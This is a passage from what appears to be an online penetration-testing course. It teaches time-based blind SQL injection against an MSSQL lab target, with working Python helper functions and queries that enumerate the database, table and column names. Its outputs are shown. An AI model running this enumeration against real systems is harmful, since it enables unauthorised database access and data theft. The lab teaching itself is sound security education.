Blind SQL Injection  

Data Extraction

Enumerating Database Name

In the example of Aunt Maria's Donuts, we went straight to dumping out maria's password. However, this involved guessing the name of the password column and assuming we were selecting from the users table. In this case, we don't know anything about the query being run except that it involves the User-Agent.

Therefore, we want to enumerate the databases/tables/columns first and then look at what could be worth dumping. The first thing we want to do is dump out the name of the database we are in. Let's expand the script with the following function which will allow us to dump the value of a number (less than 256) and then call it to get the value of LEN(DB_NAME()).

# Dump a number
def dumpNumber(q):
    length = 0
    for p in range(7):
        if oracle(f"({q})&{2**p}>0"):
            length |= 2**p
    return length

db_name_length = dumpNumber("LEN(DB_NAME())")
print(db_name_length)

When dealing with time-based injections, the algorithms we discussed in the Optimizing section show their worth: running 7 queries with bisection or SQL-anding might take 7 seconds, versus the 100+ seconds it could take if we used a simple loop. This is already a difference of minutes just for dumping a single character! In this case, we chose to use SQL-Anding again, but if you'd prefer to use a different algorithm feel free. As this is a time-based injection, results will, unfortunately, come much slower than in the boolean-based example, but after a couple of seconds, we should get an answer.

[!bash!]$ python .\poc.py
8

Knowing the length of DB_NAME() we can dump the string value. Make sure to replace the call to dumpLength with the value so we don't run it again.

db_name_length = 8 # dumpNumber("LEN(DB_NAME())")
# print(db_name_length)

# Dump a string
def dumpString(q, length):
    val = ""
    for i in range(1, length + 1):
        c = 0
        for p in range(7):
            if oracle(f"ASCII(SUBSTRING(({q}),{i},1))&{2**p}>0"):
                c |= 2**p
        val += chr(c)
    return val

db_name = dumpString("DB_NAME()", db_name_length)
print(db_name)

Running the script once again we should get the name of the database.

[!bash!]$ python .\poc.py
digcraft

Enumerating Table Names

Now we know we are executing queries in the digcraft database. Next, let's figure out what tables are available. First, we need to dump the number of tables. The query we need to run looks like this:

SELECT COUNT(*) FROM information_schema.tables WHERE TABLE_CATALOG='digcraft';

We can get this value with our script like this:

num_tables = dumpNumber("SELECT COUNT(*) FROM information_schema.tables WHERE TABLE_CATALOG='digcraft'")
print(num_tables)

The answer should be 2.

[!bash!]$ python .\poc.py
2

Let's get the length of each table, and then dump the name. This query will look pretty ugly because MSSQL doesn't have OFFSET/LIMIT like MySQL for example. Here we are dumping the length of one table_name, ordering the results by table_name, offset by 0 rows. We set the offset to 1 to dump the second table.

select LEN(table_name) from information_schema.tables where table_catalog='digcraft' order by table_name offset 0 rows fetch next 1 rows only;

Let's add a loop to our script (don't forget to comment out other queries to save time). We'll dump the length of the i^th table's name and then their string value one after another.

for i in range(num_tables):
    table_name_length = dumpNumber(f"select LEN(table_name) from information_schema.tables where table_catalog='digcraft' order by table_name offset {i} rows fetch next 1 rows only")
    print(table_name_length)
    table_name = dumpString(f"select table_name from information_schema.tables where table_catalog='digcraft' order by table_name offset {i} rows fetch next 1 rows only", table_name_length)
    print(table_name)

Running this should give us the names of both tables.

[!bash!]$ python .\poc.py
4
flag
10
userAgents

Enumerating Column Names

Out of the two tables, flag is the more interesting one to us here. Let's figure out what columns it has so we can start dumping data. The queries to do this will look very similar to the ones for the last one.

-- Get the number of columns in the 'flag' table
select count(column_name) from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft';

-- Get the length of the first column name in the 'flag' table
select LEN(column_name) from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft' order by column_name offset 0 rows fetch next 1 rows only;

-- Get the value of the first column name in the 'flag' table
select column_name from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft' order by column_name offset 0 rows fetch next 1 rows only;

We can copy the for-loop from above and update the queries with the ones described just above to dump out the column names:

num_columns = dumpNumber("select count(column_name) from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft'")
print(num_columns)

for i in range(num_columns):
    column_name_length = dumpNumber(f"select LEN(column_name) from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft' order by column_name offset {i} rows fetch next 1 rows only")
    print(column_name_length)
    column_name = dumpString(f"select column_name from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft' order by column_name offset {i} rows fetch next 1 rows only", column_name_length)
    print(column_name)

And from the output, we find the name of the single column in the flag table.

[!bash!]$ python .\poc.py
1
4
flag

At this point we know:

  • We are in the digcraft database
  • There are 2 tables:
    • flag
    • userAgents
  • The flag table has 1 column:
    • flag

Further Enumeration

We can keep going with the technique from this section to dump out all the values from these tables. For this section's interactive portion you will need to adapt the script to find the number of rows in flag, dump out the values (of the flag column), and then submit the value as the answer.

VPN Servers

Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.

Switching VPN...

PROTOCOL

/ 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Click here to spawn the target system!

Target: Click here to spawn the target system!

+10 Streak pts

Previous

+10 Streak pts

Next
Go to Questions
My Workstation

OFFLINE

/ 1 spawns left